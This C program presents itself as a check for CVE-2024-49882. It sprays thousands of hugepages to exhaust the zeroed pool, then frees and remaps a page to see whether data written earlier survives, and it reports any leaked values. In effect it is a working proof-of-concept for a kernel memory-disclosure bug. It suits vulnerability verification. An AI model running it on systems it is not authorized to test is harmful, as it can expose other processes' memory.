/*
 * test_hugepage_leak.c - Test CVE-2024-49882 Hugepage Information Leak
 * 
 * This test verifies if the kernel is vulnerable to CVE-2024-49882.
 * The bug: hugepages returned to the pool are not zeroed, leaking data.
 * 
 * IMPORTANT: Requires memory spraying to exhaust zeroed page pool!
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/mman.h>
#include <errno.h>

#define HUGEPAGE_SIZE (2 * 1024 * 1024)
#define MAGIC_PATTERN 0xDEADBEEFCAFEBABEULL
#define SPRAY_COUNT 3000  /* Number of hugepages to spray */

int main(int argc, char *argv[])
{
    int test_iterations = 50;
    int leaks_found = 0;
    void *spray_pages[SPRAY_COUNT];
    int spray_count = 0;
    
    printf("╔══════════════════════════════════════════════════════════════╗\n");
    printf("║  CVE-2024-49882 Hugepage Leak Test (with spraying)           ║\n");
    printf("╚══════════════════════════════════════════════════════════════╝\n\n");
    
    /* Check hugepage availability */
    FILE *f = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages", "r");
    if (f) {
        int nr;
        fscanf(f, "%d", &nr);
        fclose(f);
        printf("[Info] Hugepages configured: %d\n", nr);
        
        if (nr < SPRAY_COUNT + 10) {
            printf("[Info] Increasing hugepage pool for spraying...\n");
            FILE *w = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages", "w");
            if (w) {
                fprintf(w, "%d\n", SPRAY_COUNT + 50);
                fclose(w);
            }
        }
    }
    
    f = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages", "r");
    if (f) {
        int nr;
        fscanf(f, "%d", &nr);
        fclose(f);
        printf("[Info] Hugepages available: %d\n", nr);
    }
    
    /*
     * STEP 1: Spray hugepages to exhaust the zeroed pool
     */
    printf("\n[Spray] Allocating %d hugepages to exhaust zeroed pool...\n", SPRAY_COUNT);
    
    for (int i = 0; i < SPRAY_COUNT; i++) {
        spray_pages[i] = mmap(NULL, HUGEPAGE_SIZE, PROT_READ | PROT_WRITE,
                              MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0);
        if (spray_pages[i] != MAP_FAILED) {
            /* Write pattern to each sprayed page */
            memset(spray_pages[i], 0x41 + (i % 26), HUGEPAGE_SIZE);
            spray_count++;
        }
    }
    printf("[Spray] Allocated %d hugepages\n", spray_count);
    
    if (spray_count < 10) {
        printf("[Error] Could not allocate enough hugepages for spraying\n");
        printf("        Try: echo 200 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages\n");
        return 1;
    }
    
    printf("[Test] Running %d iterations with spray active...\n\n", test_iterations);
    
    for (int i = 0; i < test_iterations; i++) {
        /* Step 1: Allocate and write pattern */
        void *page1 = mmap(NULL, HUGEPAGE_SIZE, PROT_READ | PROT_WRITE,
                          MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0);
        if (page1 == MAP_FAILED) {
            if (i < 5) printf("[%d] Failed to allocate first hugepage: %s\n", i, strerror(errno));
            continue;
        }
        
        /* Write unique magic pattern */
        uint64_t *p = (uint64_t *)page1;
        uint64_t unique_magic = MAGIC_PATTERN ^ ((uint64_t)i << 32) ^ 0x1234567890ABCDEFULL;
        for (int j = 0; j < 16; j++) {
            p[j * 512] = unique_magic + j;  /* Write at multiple offsets */
        }
        
        /* Store what we wrote */
        uint64_t written_values[16];
        for (int j = 0; j < 16; j++) {
            written_values[j] = p[j * 512];
        }
        
        /* Step 2: Release hugepage */
        munmap(page1, HUGEPAGE_SIZE);
        
        /* Step 3: Immediately try to recapture */
        void *page2 = mmap(NULL, HUGEPAGE_SIZE, PROT_READ | PROT_WRITE,
                          MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0);
        if (page2 == MAP_FAILED) {
            if (i < 5) printf("[%d] Failed to allocate second hugepage\n", i);
            continue;
        }
        
        /* Check if any of our patterns leaked */
        uint64_t *p2 = (uint64_t *)page2;
        int matches = 0;
        
        for (int j = 0; j < 16; j++) {
            if (p2[j * 512] == written_values[j]) {
                matches++;
            }
        }
        
        if (matches > 0) {
            printf("[%d] *** LEAK DETECTED! %d/16 patterns found ***\n", i, matches);
            leaks_found++;
            
            /* Show leaked data */
            printf("     Leaked values:\n");
            for (int j = 0; j < 4; j++) {
                printf("       Offset 0x%x: 0x%016lx (expected 0x%016lx) %s\n", 
                       j * 512 * 8, p2[j * 512], written_values[j],
                       p2[j * 512] == written_values[j] ? "✓" : "✗");
            }
        } else {
            /* Check if page has ANY non-zero content */
            int has_data = 0;
            for (int j = 0; j < 64; j++) {
                if (p2[j] != 0) {
                    has_data = 1;
                    break;
                }
            }
            
            if (i < 5 || i % 10 == 0) {
                printf("[%d] %s\n", i, has_data ? "Page has OTHER data (possible leak from spray)" : "Page zeroed");
            }
        }
        
        munmap(page2, HUGEPAGE_SIZE);
    }
    
    /* Cleanup spray */
    printf("\n[Cleanup] Releasing spray pages...\n");
    for (int i = 0; i < spray_count; i++) {
        if (spray_pages[i] != MAP_FAILED) {
            munmap(spray_pages[i], HUGEPAGE_SIZE);
        }
    }
    
    printf("\n════════════════════════════════════════════════════════════════\n");
    printf("RESULTS\n");
    printf("════════════════════════════════════════════════════════════════\n");
    printf("  Spray pages:  %d\n", spray_count);
    printf("  Iterations:   %d\n", test_iterations);
    printf("  Leaks found:  %d\n", leaks_found);
    
    if (leaks_found > 0) {
        printf("\n  *** KERNEL IS VULNERABLE TO CVE-2024-49882 ***\n");
        printf("  Hugepages are NOT being zeroed on release!\n");
    } else {
        printf("\n  No direct leaks detected.\n");
        printf("  Try increasing spray count or hugepage pool.\n");
    }
    printf("════════════════════════════════════════════════════════════════\n");
    
    return leaks_found > 0 ? 0 : 1;
}